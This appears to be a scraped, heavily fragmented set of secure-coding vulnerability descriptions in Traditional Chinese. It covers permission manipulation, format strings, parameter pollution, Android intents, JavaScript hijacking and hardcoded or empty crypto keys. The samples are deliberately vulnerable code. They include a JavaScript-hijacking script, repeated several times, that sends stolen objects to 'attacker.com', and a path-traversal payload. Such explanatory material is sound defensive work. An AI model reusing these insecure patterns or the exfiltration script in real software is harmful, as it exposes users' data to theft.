permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
,如「../../localuser/public_html/.htpasswd
」,應用程式會指定攻擊者可讀取那個檔案。
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
,如「../../localuser/public_html/.htpasswd
」,應用程式會指定攻擊者可讀取那個檔案。
...
mask = config_params['perms']
File.chmod(filename, mask)
...
sprintf()
、FormatMessageW()
或 syslog()
。snprintf()
將指令行引數複製到緩衝區內。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
) 從堆疊讀取,然後函數會取得即將格式化的引數。(在此範例中,函數沒有取得即將格式化的引數。)透過使用 %n
格式化指令,攻擊者可能寫入堆疊,導致 snprintf()
將輸出的位元組數寫入到指定的引數 (而不是如預期從引數讀取值)。這種攻擊的一種繁瑣複雜的形式會使用四條交錯的輸入來完全控制堆疊中一個指標的數值。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所提到的一樣。syslog()
函數有時候以如下形式使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二個參數是個 Format String,所以任何包含在 cmdBuf
內的格式化指令都會被解譯,如 Example 1
中所述。syslog()
的正確使用方式:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
或NSString.stringWithFormat
範例 1:以下程式碼在 NSString.stringWithFormat:
中使用指令行引數作為格式字串。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
) 從堆疊讀取,然後函數會取得即將格式化的引數。(在此範例中,函數沒有取得即將格式化的引數。)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所提到的一樣。syslog()
函數有時候以如下形式使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二個參數是個 Format String,所以任何包含在 cmdBuf
內的格式化指令都會被解譯,如 Example 1
中所述。syslog()
的正確使用方式:範例 4:Apple 核心類別留下了危險的途徑,可藉此利用 Format String 弱點。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
函數有時候以如下形式使用:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
的正確使用方式:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
的範圍函數,使用不正確時也會引起弱點。大多數 Buffer overflow 弱點的根本原因,都是緩衝區的處理,加上對資料的大小或組成假設錯誤。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
的範圍函數,使用不正確時也會引起弱點。大多數 Buffer overflow 弱點的根本原因,都是緩衝區的處理,加上對資料的大小或組成假設錯誤。%d
格式規範從浮點數轉換 f
。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
(例如 en&poll_id=1
) 的可能性,然後該攻擊者可能會隨意變更 poll_id
。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
(例如 en&poll_id=1
) 的可能性,然後該攻擊者可以隨意變更 poll_id
。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
,但已新增其他 name=alice&
,如果在第一次使用它們的伺服器上使用,則會模擬 alice
以便取得其帳戶的進一步資訊。
String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
Intent
。隱含的內部 Intent 可能會使系統遭受對內部元件的 man-in-the-middle 樣式攻擊。Intent
使用內部元件定義的自訂動作。隱含 Intent 可以促進從任何指定外部元件呼叫 Intent,而無需了解特定元件。將兩者相結合,會允許應用程式從所需的應用程式內容外部存取指定給特定內部使用的 Intent。Intent
的能力,可以引發從資訊洩漏、Denial of Service 到遠端程式碼執行等各種不同嚴重程度的 man-in-the-middle 攻擊,具體取決於 Intent
指定之內部動作的能力。Intent
。
...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
PendingIntent
。隱含 Pending Intent 可能會導致安全性弱點,例如 Denial of Service、私人和系統資訊洩漏以及提升特權。Intent
。隱含 Intent 有助於從任何特定外部元件呼叫 Intent,並使用通用名稱和篩選器來確定執行。Intent
做為 PendingIntent
建立時,可能會導致 Intent
被傳送到在預期暫存內容外部執行的非預期元件,從而使系統容易受到諸如 Denial of Service、私人和系統資訊洩漏和提升特權等的攻擊。PendingIntent
。
...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
PendingIntent
的旗標值設為 FLAG_MUTABLE
。建立的 Pending Intent 具有 FLAG_MUTABLE
旗標值時,很容易受到下游設定的未指定 Intent
欄位的影響,這可能會修改 Intent
的能力並使系統容易受到攻擊。PendingIntent
後修改其底層 Intent
,可能會使系統容易受到攻擊。這主要取決於底層 Intent
的整體能力。在大多數情況下,最佳方式是將 PendingIntent
旗標設為 FLAG_IMMUTABLE
來防止潛在問題。FLAG_MUTABLE
旗標值建立 PendingIntent
。
...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
Intent
來啟動活動、啟動服務或傳遞廣播時,都可能讓攻擊者可以任意啟動內部應用程式元件、控制內部元件的行為或透過臨時權限授予間接存取內容提供者的受保護資料。Intent
的額外組合中巢狀化的任意 Intent
。startActivity
、startService
或 sendBroadcast
來使用任意 Intent
啟動元件。Intent
,並使用該 Intent
來啟動活動。
...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script>
標籤產生要求變得困難 (因為 <script>
標籤只會產生 GET 要求)。儘管如此,Microsoft AJAX.NET 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script>
標籤產生要求變得困難 (因為 <script>
標籤只會產生 GET 要求)。儘管如此,GWT 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
...
encryptionKey = "".
...
...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
char encryptionKey[] = "";
...
...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("");
block, err := aes.NewCipher(key)
...
...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
...
$encryption_key = '';
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
中所示的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
中的程式碼或許可以順利執行,但有程式碼存取權的任何人都能判斷出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則絕無可能變更空的 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
範例 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
包含強式、經過適當管理的密碼值,傳遞零的長度也將導致空白、null
或其他意外的弱式密碼值。
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
包含強式、經過適當管理的密碼值,傳遞零的長度也將導致空白、null
或其他意外的弱式密碼值。
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來洩漏由該系統加密的資料。
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
範例 2:以下程式碼會使用硬式編碼的加密金鑰執行 AES 加密:
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = 'secret_key'
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...
...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
const hmacKey = "a secret";
const hmac = createHmac('sha256', hmacKey);
hmac.update(data);
...
hmacKey
。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。
...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...
...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...